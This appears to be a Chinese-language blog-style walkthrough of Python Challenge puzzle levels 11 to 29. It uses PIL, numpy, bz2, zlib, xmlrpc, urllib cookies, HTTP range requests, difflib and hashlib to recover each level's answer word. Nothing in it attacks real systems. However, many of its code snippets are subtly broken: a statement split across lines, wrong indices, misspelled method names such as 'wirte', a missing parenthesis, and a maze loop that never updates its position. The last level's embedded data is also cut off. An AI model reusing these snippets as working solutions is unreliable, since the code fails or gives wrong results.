对每一行进行操作,有彩色像素移到左边,所有黑色像素移到右边。其实这里说黑色像素并不严谨,因为黑色像素并不都是纯黑的像素。根据标题提示,我们需要根据奇偶性进行操作。设row和column都从0开始,则:

①若(row+column) % 2 == 0,则将该像素移到该行右边;
②若(row+column) % 2 == 1,则将该像素移到该行左边;

```python
import numpy as np
from PIL import Image
im0 = Image.open("cave.jpg")
mat0 = np.asarray(im0)     #将结构数据转换为ndarray类型,ndarray是numpy的一种特有数据型,比如矩阵
mat1 = np.zeros_like(mat0)   #numpy.zeros_like(a):a是一个ndarray,翻译过来应该数组更容易理解一点吧。生成一个和你所给数组mat0相同shape的全0数组。
for i, row in enumerate(mat0):
    j1, j2 = -1, 319
    for j, pixel in enumerate(row):
        if (i + j) % 2 == 0:
                j2 += 1
                mat1[j2] = mat0[j] #若(row+column) % 2 == 0,则将该像素移到该行右边
        else:
                j1 += 1
                mat1[j1] = mat0
[j] #若(row+column) % 2 == 1,则将该像素移到该行左边
im1 = Image.fromarray(mat1)
im1.save("result.jpg")
```

![image-20211010173151975](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010173151975.png)

得到evil



0x12

本关考察对比特流(bit stream)的操作,网页中的图片名是“evil1.jpg”,试图获取“evil2.jpg”、“evil3.jpg”,得到三张图片。

其实还有“evil4.jpg”,不过貌似只能在ie浏览器中打开,是一段文字“Bert is evil! go back!”,后面的关卡中会用到。

![image-20211010173400955](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010173400955.png)

根据“evil2.jpg”的提示,尝试获取“evil2.gfx”,得到一个文件。“evil1.jpg”将牌分成5堆,由此得到启发,将文件中的数据分成5份,分别写入5个文件中.最终得到5张图片

```python
with open("evil2.gfx", "rb") as file:
    file_bytes = file.read()  #读取字节流
    for i in range(5):
        piece_bytes = file_bytes[i::5]    #分割字节流
        with open(f"{i}.jpeg", "wb") as file:     #循环通过字节流粗存并将其转换成jepg文件
            file.write(piece_bytes)
```

![image-20211010174205083](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010174205083.png)

得到disproportional



0x13

点击电话上的5调转到php界面,感觉在提示我们用php魔法字符

![image-20211010175044023](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010175044023.png)

根据提示“phone that evil”,我们使用RPC(Remote Procedure Call,远程过程调用),那这个phone就可能是pp字符。尝试调用phone()方法,记得上一关说“Bert is evil! go back!”,所以这个evil应该就是Bert

```python
from xmlrpc.client import ServerProxy
server = ServerProxy("http://www.pythonchallenge.com/pc/phonebook.php")
response = server.phone("Bert")
print(response)
```

得到

![image-20211010175409628](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211010175409628.png)

答案就是“italy”。



0x14

打开是个甜甜圈,下面是个多色条纹

![image-20211011191252270](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211011191252270.png)

这些是提示

Python的PIL模块,需要一点简单的算法。标题、图片、公式都提示,需要将下面的带状图案绕成一张图片,进一步根据公式的提示,绕成的图片尺寸是100*100,要从外向里绕,这里需要生成“螺旋矩阵”的算法。



```python
def next_pos(x,y,f):
    if f == 0:
        if y!= 99 and mat1[x][y + 1] == 0:
            y+=1
        else:
            x,f = x+1,1
    elif f == 1:
        if x != 99 and mat1[x+1][y] == 0:
            x += 1
        else:
            y,f = y-1,2
    elif  f == 2:
        if y != 0 and mat1[x][y-1] == 0:
            x -= 1
        else:
            y,f = y+1 ,0
    mat1[x][y] = 1
    return x,y,f

print(f"\033[31mLevel 14\033[0m")
import numpy as np
from PIL import Image
im0 = Image.open("wire.png")
im1 = Image.new("RGB", (100, 100), "#FFFFFF")
mat1 = np.zeros((100, 100), dtype=np.int)  #zeros(shape, dtype=float, order='C')返回:返回来一个给定形状和类型的用0填充的数组;参数:shape:形状dtype:数据类型,可选参数,默认numpy.float6
i, j, d = 0, -1, 0
for k in range(10000):
    i, j, d = next_pos(i, j, d)
    pixel = im0.getpixel((k, 0))  #getpixel该函数检索指定坐标点的像素的RGB颜色值
    im1.putpixel((i, j), pixel)
im1 = im1.rotate(-90)          #rotate旋转函数
im1.save("result.png")
```

![image-20211011194915272](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211011194915272.png)

得到一只

![image-20211011194931157](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211011194931157.png)

得到cat。进去之后是uzi



0x15

![image-20211011195155855](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211011195155855.png)

题目是找个人

本关考察Python的datetime模块和calendar模块,考察对日期和时间的处理。要找一个年份,以1开头以6结尾,即形如“1XY6”的年份,且1月1日是星期四,仔细观察发现2月有29日,说明这是一个闰年。

```python
import calendar
from datetime import date
d = date(1006,1,1)
while d.year < 2000:
    if d.isoweekday() == 4 and calendar.isleap(d.year): #1月1日是星期四且是闰年。
        print(d.isoformat())
    d=d.replace(year=d.year +10)
```

说明这是一个闰年。最终符合条件的年份共有5个,又根据提示“he ain’t the youngest, he is the second”,他是第二年轻的,说明是1756年,“buy flowers for tomorrow”意味着是圈出来日期的第二天,即1756年01月27日

搜索一下

mozart

0x16

这一关又是考察对于图片的处理,可以验证每一行都有一个粉色的小条(5个粉色像素两边各有1个白色像素),标题提示需要将它们拉直,要把每一行的粉色小条向左拉到同一个位置,这里我们统一把粉色小条拉到开头处。

```python
from PIL import Image
im0 = Image.open("mozart.gif")
im1 = Image.new("P", (640, 480))
im1.putpalette(im0.getpalette())
for h in range(480):
    for w in range(4, 640):            #一个粉色条有四个像素点
            p1 = im0.getpixel((w - 4, h))
            p2 = im0.getpixel((w - 3, h))
            p3 = im0.getpixel((w - 2, h))
            p4 = im0.getpixel((w - 1, h))
            p5 = im0.getpixel((w, h))
            if p1 == p2 == p3 == p4 == p5 == 195:   #195为粉色
                for ww in range(640):
                    pixel = im0.getpixel(((ww + w - 4) % 640, h))
                    im1.putpixel((ww, h), pixel)
                break
    im1.save("result.gif"
```

![image-20211011202336542](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211011202336542.png)




0x17
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211013183942042.png?lastModify=1634643505
本关考察爬虫、bz2、RPC的综合运用,其实把之前几关的代码改改再组合一下就行了。
首先是爬虫部分,图片上是小饼干(cookies),cookies又指存在客户端上的数据,查看cookies发现确实有这么一条{name = “info”, value = “you+should+have+followed+busynothing…”}
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211013193929559.png?lastModify=1634643505
注意这里需要用第4关的url构造请求“http://www.pythonchallenge.com/pc/def/linkedlist.php?busynothing”,以“busynothing”为参数,仿照第4关的步骤循环构造请求,注意这里需要获取每次返回的cookies信息,保存“info”值。
经过118轮循环后结束,将每次请求的“info”信息拼接起来,得到一条字节流数据。
其次是bz2解码部分,直接用bz2模块解码即可,可复用第8关的代码。得到一个字符串“is it the 26th already? call his father and inform him that “the flowers are on their way”. he’ll understand.”。
最后是RPC,这句话中“call his father”是切入点,莫扎特的父亲是列奥波尔得·莫扎特(Leopold Mozart),复用第13关代码,尝试RPC调用phone(“Leopold”),得到相应信息“555-VIOLIN”,答案是“violin”。
访问“violin.html”,但提示跳转到“http://www.pythonchallenge.com/pc/stuff/violin.php”,但并没有进一步的信息,看看解码得到的那句话,再看看网页标题,这里需要带着{name = “info”, value = “the flowers are on their way”}这条cookies一并访问服务器,可以直接在Chrome里面手动添加这条cookies。再次访问发现人像下面多了一句话“oh well, don’t you dare to forget the balloons.”,最终答案是“balloons”,注意是“…/pc/return/balloons.html”,而不是“…/pc/stuff/balloons.html”。
from urllib import  request, parse
from http import  cookiejar
from xmlrpc.client import ServerProxy
import bz2

def crawl():
        epochs = 0
        busynothing = "12345"
        info = ""
        while str.isdigit(busynothing):
            epochs += 1
            url = f"http://www.pythonchallenge.com/pc/def/linkedlist.php?busynothing={busynothing}"
            cookie = cookiejar.MozillaCookieJar()
            handler = request.HTTPCookieProcessor(cookie)
            opener = request.build_opener(handler)
            response = opener.open(url)
            text = response.read().decode()
            print(f"{epochs:<3d}\tbusynothing = {busynothing}\n\t{text}")
            for c in cookie:
                print(f"\t{c.name} = {c.value}")
                if c.name == "info":
                    info += c.value
            busynothing = str(text.split(' ')[-1])
        print(info.encode())


def decompress():
    info = "BZh91AY%26SY%94%3A%E2I%00%00%21%19%80P%81%11%00%AFg%9E%A0+%00hE%3DM%B5%23%D0%D4%D1%E2%8D%06%A9%FA" + \
           "%26S%D4%D3%21%A1%EAi7h%9B%9A%2B%BF%60%22%C5WX%E1%ADL%80%E8V%3C%C6%A8%DBH%2632%18%A8x%01%08%21%8DS" + \
           "%0B%C8%AF%96KO%CA2%B0%F1%BD%1Du%A0%86%05%92s%B0%92%C4Bc%F1w%24S%85%09%09C%AE%24%90"
    info = info.replace("+", "%20")
    info = parse.unquote_to_bytes(info)
    info = bz2.decompress(info).decode()
    print(info)


def phone():
    server = ServerProxy("http://www.pythonchallenge.com/pc/phonebook.php")
    response = server.phone("Leopold")
    print(response)
0x18
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211013195511154.png?lastModify=1634643505
本关也要分步解谜,首先标题问你有什么区别,提示说这很明显,不要想复杂了,这两张图片的区别明显是亮度,答案就是“brightness”,如果输入“bright”会提示你加上“ness”。
访问“brightness.html”,但页面貌似一模一样,但网页源代码中的注释不一样了,
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211013195610959.png?lastModify=1634643505提示下载文件“deltas.gz”。查看字节流数据,发现数据分成了左右两块,大体一样但又略有不同。
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211013195809375.png?lastModify=1634643505
接下来考察Python的difflib模块,difflib模块可以比较两组数据d1和d2的差异,“-”表示d1有但d2没有,“+”表示d1没有但d2有,“ ”表示d1和d2内容一致。根据每行以哪种符号开头,由此可以把数据分成三类,分别存入三个文件中
import gzip
import difflib
from PIL import Image
from io import BytesIO

data1_list,data2_list = [], []
with gzip.open ("deltas.gz","rb") as file:     #rb是读取二进制文件
    for data in file:
        data = data.decode("utf-8")
        data1, data2 = data[:53].rstrip(' ') + "\n", data[56:]
        if data1 != "\n":
            data1_list.append(data1)    #先把双方非空格的都取出来用于之后的比较
        if data2 != "\n":
            data2_list.append(data2)

d = difflib.Differ()
diff = d.compare(data1_list,data2_list) #提取不同的用于之后的筛选
print(''.join(list(diff)))

space_bytes, plus_bytes, minus_bytes = b"", b"", b""
for data in diff:
    data_list = data[2:].strip('\n').split(' ')
    byte=bytes([int(i, 16) for i in data_list])    #把list里面的i切换到16进制,以便于之后的筛选
    if data[0] == '+':
        plus_bytes += byte
    elif data[0] == '-':
        minus_bytes += bytes
    elif data[0] == ' ':
        space_bytes += byte           #分别取出三种数据

#下面将各个数据转换成图片
stream = BytesIO(space_bytes)
image_space = Image.open(stream)
image_space.save("space.png")

stream = BytesIO(plus_bytes)
image_space = Image.open(stream)
image_space.save("plus.png")

stream = BytesIO(minus_bytes)
image_space = Image.open(stream)
image_space.save("minus.png")
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211013202459806.png?lastModify=1634643505
打开得到这三个
“ ”行组成的图片是下一关的网址,“+”行组成的图片是用户名,“-”行组成的图片是密码。
0x19(做的复现给删了,复制了一下网上的)
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211015193115233.png?lastModify=1634643505
本关考察Python的base64模块和wave模块。网页源代码中有一堆编码,二话不说先保存下来,提示说是base64编码的,直接用base64模块解码,得到的数据写入文件,再根据提示修改文件名为“indian.wav”,以音频方式打开,听到一声“Sorry”和一堆杂音。
观察图片,图片上大陆和海洋的颜色颠倒了,启发需要反转文件数据。具体做法是反转每一帧内的字节流数据,得到新的音频文件,听到“You are the idiot……hhhhhhhhhhhh……”,答案就是“idiot”(笨蛋,哈哈哈哈哈哈)。
“idiot.html”出现一个中间页面,显示“Now you should apologize…”,直接点击进入下一关。
顺便提一下,网页源代码中出现了一个电子邮箱“leopold.moz@pythonchallenge.com”,这个电子邮箱在后面的关卡中会用到。
def level_19() -> None:
    print(f"\033[31mLevel 19\033[0m")
    import base64
    import wave
    with open("level_19/indian.txt", "r") as file:
        text = file.read().replace("\n", "")
    stream = base64.b64decode(text.encode())
    with open("level_19/indian.wav", "wb") as file:
        file.write(stream)
with wave.open("level_19/indian.wav", "rb") as f1:
    with wave.open("level_19/reverse.wav", "wb") as f2:
        f2.setparams(f1.getparams())
        for _ in range(f1.getnframes()):
            f2.writeframes(f1.readframes(1)[::-1])
0x20  这关也是
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211015193315903.png?lastModify=1634643505
本关考察高级的网络爬虫技能,查看图片的响应头参数,发现图片采用了“断点续传”技术,并没有把全部数据传回来,以此为切入口解谜。本关爬虫需要进行身份验证,需要同时向服务器提交用户名和密码。
先从头开始爬取,得到的信息都是“入侵者……停止……尊重我的隐私”之类的,发现“invader.html”是存在的,就只有一句话“Yes! that’s you!”,但并没有实际意义。
从头开始不行,就从最后开始爬取,得到两条有用信息。第一条提示说“密码是新昵称反过来”,即invader反过来“redavni”就是密码。第二条提示说“它藏在1152983631处”,爬取这个位置发现是一个“PK”开头的字节流,这明显是一个压缩文件,写入文件“invader.zip”。解压发现需要密码,密码就是“redavni”,解压得到两个文件,阅读“readme.txt”文件,我们已经进入第21关了,过关!
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211015193415561.png?lastModify=1634643505
from urllib import request, error
    url = "http://www.pythonchallenge.com/pc/hex/unreal.jpg"
    user = "butter"
    password = "fly"
    password_mgr = request.HTTPPasswordMgrWithDefaultRealm()
    password_mgr.add_password(None, url, user, password)
    handler = request.HTTPBasicAuthHandler(password_mgr)
    opener = request.build_opener(handler)
start = -1
# start = 2123456790
# start = 1152983632
for _ in range(100):
    start += 1     # this is for start = -1
    # start -= 1   # this is for start = 2123456790 and start = 1152983632
    print(f"{start}", end="\t")
    opener.addheaders = [("range", f"bytes={start}-"), ]
    try:
        response = opener.open(url)
    except error.HTTPError:
        print("HTTP Error 416")
    else:
        data = response.read()
        headers = dict(response.info())
        content_range = str(headers['Content-Range'])
        print(f"\033[31m{content_range}\t{data}\033[0m")
        start = int(content_range.split('-')[1].split('/')[0])     # this is for start = -1
        # start = int(content_range.split(' ')[1].split('-')[0])   # this is for start = 2123456790 and start = 1152983632

with open("level_20/invader.zip", "wb") as file:
    opener.addheaders = [("range", f"bytes=1152983631-"), ]
    response = opener.open(url)
    data = response.read()
    file.write(data)
0x21
本关考察多种编码格式的运用,观察“package.pack”中的数据,发现是以b"x\x9c"开头的,这是zlib算法压缩的数据,使用zlib模块解码。重复几次,发现有以b"BZ"开头的,这是bz2压缩的数据,使用bz2模块解码。又重复几次,发现有以b"\x80\x8d"开头的,看看第2条提示,发现字节流是以b"\x9cx"结尾的,反转整个字节流。最终得到一句话“look at your logs”。
打印解压日志,若以bz2解压则打印“B”,若以zlib解压则打印空格,若反转操作则打印换行符,最终得到一幅像素画,答案是“copper”。
$$

$$


import bz2
    import zlib
    with open("level_21/package.pack", "rb") as file:
        data = file.read()
    while data != b"sgol ruoy ta kool":
        if data.startswith(b"x\x9c"):
            data = zlib.decompress(data)
            print(' ', end='')
        elif data.startswith(b"BZ"):
            data = bz2.decompress(data)
            print('B', end='')
        elif data.endswith(b"\x9cx"):
            data = data[::-1]
            print()
    print()
    print(data[::-1])
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211015195023722.png?lastModify=1634643505
0x22
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211015195116414.png?lastModify=1634643505
源码提示有个gif且要是gif更亮一点
根据提示下载文件“white.gif”。发现每一帧都是黑的,但每一帧都有一个像素点不是纯黑的 RGB != (0,0,0),且该像素都在中心点(100,100)附近,再由游戏摇杆得到启发。举例来说,详见下表
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211015200543011.png?lastModify=1634643505
把两次归零操作之间,每一帧的实际位置都画出来,就能得到一幅图案
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211015203843699.png?lastModify=1634643505
最终发现一共有5幅图案,按顺序绘制出来,发现是一个单词“bonus”。
from PIL import Image, ImageSequence
im0 = Image.open("white.gif")
im1 = Image.new("1",(400,100))
index = 1
x, y = 50, 50
for frame in ImageSequence.Iterator(im0):
    i,j = 98, 98
    while i <= 102:
        if frame.getpixel((i, j)) != 0:
            break
        if j == 102:
            i, j = i+1, 98
        else:
            j += 1
    dx, dy = i - 100, j - 100
    if dx == dy == 0:       #把归零之间的实际位置选取出来
        index += 1
        x, y = index * 50, 50   #x,y变成100,是为了定义(100,100)这样的归零点
    else:
        x, y = x + dx, y + dy      #白像素点转换到实际位置
        im1.putpixel((x, y), 1)
im1.save("result.png")
0x23

打开题目是张牛
源代码有各种提示,还包括凯撒密码
本关考察对“Python之禅”的了解,“你是否欠某人一个道歉,如果是,真诚地去表达歉意吧!”这是作者的呼吁,和本关解谜没有任何关系。
网页源代码最后有一行看不懂的话“va gur snpr bs jung?”,又是凯撒密码,但偏移量未知,复用第1关的代码,尝试所有26种偏移量,肉眼观察有没有能构成英语单词的,发现真有一句是合理的,“in the face of what?”。这是提问“Python之禅”里面的内容
“Python之禅”直接使用语句“import this”就能打印出来了
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211015204803385.png?lastModify=1634643505
其中有一句是“In the face of ambiguity, refuse the temptation to guess.”。所以答案是“ambiguity”。

0x24
本关考察高级的图片处理能力,且需要一定的算法和数据结构基础。图片明显是一个迷宫,要从右上角走到左下角,这里采用BFS(广度优先搜索)算法,得到一条路径,可以验证这也是唯一路径。但这还不够,因为路径并没有明显刻画出某个单词或图案。
仔细观察每个像素,发现除了白色像素和左上角的那个灰色区域外,每个深色像素的R通道分量都不同,但G和B通道分量都恒为0,这意味着R通道分量上蕴含着信息。将路径上每个像素点的R通道分量值都保存下来,转成字节流数据并存入文件
发现该字节流以b"PK"开头,说明这是一个压缩文件。解压得到一个压缩包“mybroken.zip”,这是后面关卡要用的,还有一张图片“maze.jpg”,图片上面写着“lake”,故答案就是“lake”。
import numpy as np
from PIL import  Image
im0 = Image.open("maze.png")
rgba_array = np.asarray(im0, dtype=np.uint8).copy() #先转成矩阵格式,然后若想为图像创建一个容器,需要指定dtype=np.uint8,否则虽然你的容器矩阵中是有值的,但是无法正常imshow,还有就是uint8是专门用于存储各种图像的
im0 = im0.convert(mode="1") #PIL库将其转化为mode1 二值图像,非黑即白。但是它每个像素用8个bit表示,0表示黑,255表示白
maze_array = np.asarray(im0, dtype=np.uint8).copy()
maze_array = 1 - maze_array

n, m = maze_array.shape  #迷宫矩阵形状转成n,m
queue_list = [(0, m - 2)]
path_array =  np.zeros((n, m, 2), dtype = np.int) #zero返回来一个给定形状和类型的用0填充的数组;zeros(shape, dtype=float, order=‘C’)
dx_tuple, dy_tuple = (0, 0, 1, -1), (1, -1, 0, 0)
while queue_list:
    x, y = queue_list.pop(0)   #pop() 函数用于移除列表中的一个元素(默认最后一个元素),这里即是删除第一个元素
    maze_array[x,y] = 0
    if x == n - 1:
        break
    for dx, dy in zip(dx_tuple, dy_tuple):  #将字节流转换为压缩包的数据格式
        xx, yy = x + dx, y +dy
        if 0 <= xx < n and 0 <= yy <m and maze_array[xx, yy]:
            maze_array[xx, yy] = False
            path_array[xx, yy] = [x, y]
            queue_list.append((xx,yy))
im1 = Image.new(mode="1", size=(n, m), color = 1)
r_list = []
x, y = n - 1, 1
while x != 0 or y != 0:
    im1.putpixel((x, y), 0)
    r_list.append(rgba_array[x, y, 0])
    im1.save("path.png")
    r_list = r_list[-2 :: -2]
    r_bytes = bytes(r_list)
    with open("red.rar","wb") as file:
        file.wirte(r_bytes)
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211016102804498.png?lastModify=1634643505


0x25
本关考察网络爬虫和对图片字节流的处理,看到图片名是“lake1.jpg”,根据提示尝试获取“lake1.wav”,文件存在,猜测应该还有“lake2.wav”,“lake3.wav”,……于是构造一个网络爬虫,复用第20关的代码即可
from urllib import request, error
import wave
from PIL import Image
password_mgr = request.HTTPPasswordMgrWithDefaultRealm()
password_mgr.add_password(None, "http://www.pythonchallenge.com/", "butter", "fly")
handler = request.HTTPBasicAuthHandler(password_mgr)
opener = request.build_opener(handler)

for i in range(1, 30):
    print(f"Processing {i:2d}...", end='\t')
    url = f"http://www.pythonchallenge.com/pc/hex/lake{i}.wav"
    try:
        response = opener.open(url)
    except error.HTTPError:
        print("HTTP ERROR 404")
    else:
        with open(f"25/lake{i}.wav", "wb") as file:  #用保存来判断是否有这个网站文件
            data = response.read()
            file.write(data)
            print("Successfully Saved.")
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211016104245243.png?lastModify=1634643505
发现一共有25个文件,从“lake1.wav”到““lake25.wav””。
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211016104329410.png?lastModify=1634643505
以音频方式打开文件,发现都是杂音,根据图片中拼图的提示,尝试把这25个文件拼接起来,得到一个合成文件。尝试不同打开方式后,
from urllib import request, error
import wave
from PIL import Image
im = Image.new("RGB",(300, 300))
for i in range(1, 26):
    with wave.open(f"25/lake{i}.wav","rb") as file:
        data = file.readframes(file.getnframes())   #readframs是属于wave的函数。以字符串格式读取音频
        block_im = Image.frombytes("RGB", (60,60), data)  #定义block这样一个框架来填入xy从而产生RGB像素
        x, y = (i - 1) %5 *60, (i - 1) //5 * 60
        im.paste(block_im, (x,y))
        im.save("25/result.jpg")
得到图片
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211016105937650.png?lastModify=1634643505
发现其实是一张图片,上面有一个单词,很模糊,但还是能辨认出来是“decent”。
0x26
本关考察Python的hashlib模块。提示说我们已经有他的电子邮箱了,记得第19关那个电子邮箱吗?对,就是“leopold.moz@pythonchallenge.com”,发一份电子邮件给他,得到回复。
回复中提到第24关中那个破损的压缩包“mybroken.zip”,告诉我们只有一个错误,即某个字节的数据出错了,导致压缩包破损,同时还告诉了我们文件的md5码。这下问题就简单了,遍历文件的每一个字节,对于每一个字节,尝试0-255的所有可能取值,每次都重新计算md5码,直到和正确的md5码一致为止。
得到正确的压缩包,解压得到一张图片,图片上写着一个单词“speed”。但这还不是最终答案,网页上写着一句话“Hurry up, I’m missing the boat”,是的,还要加上“boat”,所以最终答案是“speedboat”。
    import hashlib
    with open("level_26/mybroken.zip", "rb") as file:
        broken_data = file.read()
    correct_digest = "bbb8b499a0eef99b52c7f13f4e78c24b"
    for pos in range(len(broken_data)):
        print(f"Trying position {pos} ...")
        for k in range(256):
            data = broken_data[:pos] + bytes([k]) + broken_data[pos + 1:]
            digest = hashlib.md5(data).hexdigest()
            if digest == correct_digest:
                print(f"Successfully insert {k} at position {pos}")
                with open("level_26/mycorrect.zip", "wb") as file:
                    file.write(data)
                    return
0x27
本关也是考察对图片和编码的处理能力,此外还有keyword模块。图片直接超链接到了下一关“…/ring/bell.html”,但需要身份验证,我们需要找到用户名和密码。
根据提示下载文件“zigzag.gif”,图片名“zigzag”和标题“between the tables”都提示需要建立一个映射表,具体做法是建立一个“自增索引”到“颜色表(palette)”的映射表,映射表的前几位展示如下
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211016112853737.png?lastModify=1634643505
将映射表作用到图片的字节流数据“data”上,得到一个新的字节流数据“new_data”
这些就是数据流(包括旧的和新的)
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211016140149309.png?lastModify=1634643505
from PIL import Image
import bz2
import keyword
im0 = Image.open("zigzag.gif")
palette = im0.getpalette()[::3]  #Image.getpalette()以列表形式返回图像调色板。  换成数组是为了针对gif图像
data = im0.tobytes()
palette_bytes = bytes(palette)
index_bytes = bytes([i for i in range(256)]) #bytes() 函数返回字节对象。
trans = bytes.maketrans(index_bytes, palette_bytes)#maketrans() 方法用于创建字符映射的转换表,对于接受两个参数的最简单的调用方式,第一个参数是字符串,表示需要转换的字符,第二个参数也是字符串表示转换的目标。,就是说256种字符全都要转换程byetes
new_data = data.translate(trans)  #再把bytes转换成data

print(data)
print(new_data)
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211016140759976.png?lastModify=1634643505
对比发现两个字数差不多
但有一些字符还是不一致的。将data中和new_data不一致的字符过滤出来
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211016160638795.png?lastModify=1634643505
发现有bz的字节符
那就用bz2去解码
diff_bytes = b''.join([bytes([b1]) if b1 != b2 else b'' for b1, b2 in zip(data[1:], new_data[:-1])])
#diff_bytes为字符筛选函数,这里就是将得到的data里面的b‘’俩米娜的对比筛选出来,s[:-1] # 等价于 s[0:len(s)],除了最后一个元素的切片,将最后一个元素去掉
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211016162929357.png?lastModify=1634643505

果然有很多英文字符,但是也有很多python关键字 (比如英语中间那些/bing)
以及很多英文字符是重复的
用keyword模块过滤掉这些关键字,并用set过滤掉重复单词,留下的内容就所剩无几了。
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211016170140635.png?lastModify=1634643505
得到这个
值得注意的是,“print”和“exec”在Python2中式关键字,在Python3中变成了函数,所以没有被去掉,还有一个链接“…/ring/bell.html”指向下一关,其实就是网页上那张图片的超链接。最后剩下两个单词“repeat”和“switch”,就是用户名和密码了。尝试发现用户名是“repeat”,密码是“switch”。
完整代码如下
from PIL import Image
import bz2
import keyword
im0 = Image.open("zigzag.gif")
palette = im0.getpalette()[::3]  #Image.getpalette()以列表形式返回图像调色板。  换成数组是为了针对gif图像
data = im0.tobytes()
palette_bytes = bytes(palette)
index_bytes = bytes([i for i in range(256)]) #bytes() 函数返回字节对象。
trans = bytes.maketrans(index_bytes, palette_bytes)#maketrans() 方法用于创建字符映射的转换表,对于接受两个参数的最简单的调用方式,第一个参数是字符串,表示需要转换的字符,第二个参数也是字符串表示转换的目标。,就是说256种字符全都要转换程byetes
new_data = data.translate(trans)  #再把bytes转换成data

print(data)
print(new_data)

diff_bytes = b''.join([bytes([b1]) if b1 != b2 else b'' for b1, b2 in zip(data[1:], new_data[:-1])])
#diff_bytes为字符筛选函数,这里就是将得到的data里面的b‘’俩米娜的对比筛选出来,s[:-1] # 等价于 s[0:len(s)],除了最后一个元素的切片,将最后一个元素去掉
text = bz2.decompress(diff_bytes).decode()
content = set(s if not keyword.iskeyword(s) else'' for s in text.split(' ') )  #split() 通过指定分隔符对字符串进行切片,如果参数 num 有指定值,则分隔 num+1 个子字符串. 再将区分好的每个块值遍历循环是否属于python的字符
print(content)
0x28
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211017170107195.png?lastModify=1634643505

本关考察对图片和字节流的处理能力。提示让我们大声说“RING-RING-RING”,是指“RING”谐音“GREEN”,就是指RGB的绿色通道。我们需要将绿色通道的数据两两配对,每组作差取绝对值
from PIL import  Image
im = Image.open("bell.png")
green = list(im.split()[1].getdata())
diff = [abs(p1 - p2) for p1, p2 in zip(green[0::2], green[1::2])]

print(diff)
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211017172046552.png?lastModify=1634643505发现全都是42。不过有一些不是 把他们提取出来
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211017172958191.png?lastModify=1634643505
得到这些值
盲猜需要转换成acii码
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211017173228413.png?lastModify=1634643505
diff_filter = list(filter(lambda x: x!=42,diff))         #fiter是过滤函数,用于过滤掉不符合条件的函数,lambda函数冲diff中取出x!=42的数,
text = bytes(diff_filter).decode()
print(text)
翻译出来是谁是真凶
查了一查 发现是python之父guido
完整代码如下
from PIL import  Image
im = Image.open("bell.png")
green = list(im.split()[1].getdata())
diff = [abs(p1 - p2) for p1, p2 in zip(green[0::2], green[1::2])]
diff_filter = list(filter(lambda x: x!=42,diff))         #fiter是过滤函数,用于过滤掉不符合条件的函数,lambda函数冲diff中取出x!=42的数,
text = bytes(diff_filter).decode()
print(text)
0x29
提示whoisit
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211017173700575.png?lastModify=1634643505
源代码发现有很多空格且空格数都不一样
将空格取下来
本关考察bz2编码,经过前面那么多的训练,这关可以说是小case 了!注意到网页源代码后面有很多空行,ctrl+A一下,发现每行空格的数量都不一样,这里面肯定隐藏了信息。获取每行的空格数量
data = “复制下来的那些空格”
space_list = data.split('\n')
count_list = [len(line) for line in space_list]
print(count_list)
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211017174500845.png?lastModify=1634643505
每个数值表示一字节的数据,因为用的是bz2编码。得用到bz模块的字节数据转换
不能直接用bytes.decode进行解码
需要先把它转换到bytes
space_list = data.split('\n')
count_list = [len(line) for line in space_list]
count_byte = bytes(count_list)
print(count_byte)
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211017175109374.png?lastModify=1634643505
在进行bz模块进行解码
file://C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211017175204283.png?lastModify=1634643505
得到这个
下一题就是yankeedoodle
完整代码如下
import bz2

data = """                                                                  
                                                                                          
                                                                                                        
                                                         
                                                
                                                                 
                                                                                         
                                      
                                                                                   
                                                                                         
                                                                                                                                                                                                                        
                                                                                                                                                                                                  
                                                                                                               
                        


   
                                                                                                                                                            
                                                                                                                                
                                                                                                
                                                                                                                                


                                                                                                                                
                                
                                             
                                               
                                                                                                                                                            
                                
                                

                                                
                                                                           
